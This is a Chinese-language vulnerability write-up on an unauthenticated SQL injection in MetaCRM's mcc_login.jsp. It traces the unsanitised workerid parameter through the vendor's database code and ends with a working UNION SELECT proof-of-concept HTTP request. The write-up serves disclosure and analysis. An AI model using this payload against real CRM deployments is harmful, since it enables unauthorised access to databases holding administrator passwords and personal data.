美特CRM mcc_login.jsp SQL注入漏洞


漏洞简介

MetaCRM是一款智能平台化CRM软件,通过提升企业管理和协同办公,全面提高企业管理水平和运营效率,帮助企业实现卓越管理。美特软件开创性地在CRM领域中引入用户级产品平台MetaCRM V5/V6,多年来一直在持续地为客户创造价值,大幅提升了用户需求满足度与使用的满意度。针对成长型企业,美特软件用先进的CRM产品与技术,开发了适合中小型企业的产品“美客宝”,以及面向云计算的在线CRM系统。

美特CRM si/callcenter/solarun/mcc_login.jsp 接口存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入恶意文件,进一步获取服务器系统权限。

漏洞分析

直接看 si/callcenter/solarun/mcc_login.jsp 文件业务逻辑实现相关代码

<%
response.setHeader("Pragma", "no-cache");
response.setHeader("Cache-Control", "no-store");
response.setDateHeader("Expires", 0);
String strTitle=com.metasoft.framework.pub.env.PackageCfg.getName()+" loading......";
//
String userlogin=request.getParameter("workerid"); //seat login ID
com.metasoft.framework.db.DBManager dm = new com.metasoft.framework.db.DBManager("default");
org.dom4j.Element el =  dm.findOne("select scode from org_employee where scode ='" + userlogin + "' or sctino='" + userlogin + "';");
userlogin = (String)el.attribute("scode").getData();
String passwd=request.getParameter("passwd"); //seat login password (abc123def)
String rtype=request.getParameter("rtype"); //login type (lgn)
//if ("lgn".equalsIgnoreCase(rtype))
  rtype="call400";
%>

workerid 通过 request.getParameter 获取后直接拼接进SQL语句,然后将SQL语句带入 com.metasoft.framework.db.DBManager 的 findOne 方法里,跟进看下

public Element findOne(String findSql) throws SQLException {
        if (findSql != null && findSql.length() != 0) {
            findSql = this.dbserver.getFunTrimSemicolon(findSql);
            List l = this.find(findSql, 1);
            return l != null && l.size() > 0 ? (Element)l.get(0) : null;
        } else {
            return null;
        }
    }

findSql 经过 getFunTrimSemicolon 处理如下

public String getFunTrimSemicolon(String strSQL) {
        return strSQL;
    }

直接返回,在默认为 mssql 的时候没有任何处理,但对 MySQL 和 Oracle 有重写,也不过是去除多余空格以和分号

image-20250122231945811

最后将 findSql 带入 DBManager 的 find 函数执行,全程无任何过滤处理,造成SQL注入漏洞

漏洞复现

GET /si/callcenter/solarun/mcc_login.jsp?workerid=-1'+UNION+ALL+SELECT+@@VERSION-- HTTP/1.1
Host: metasoft.mrxn.net

成功在 username 处回显数据库版本信息


手机扫码阅读

用友NC getOtherData SQL注入漏洞

新中新校园卡管理系统 ProductInfoJF SQL注入漏洞

评 论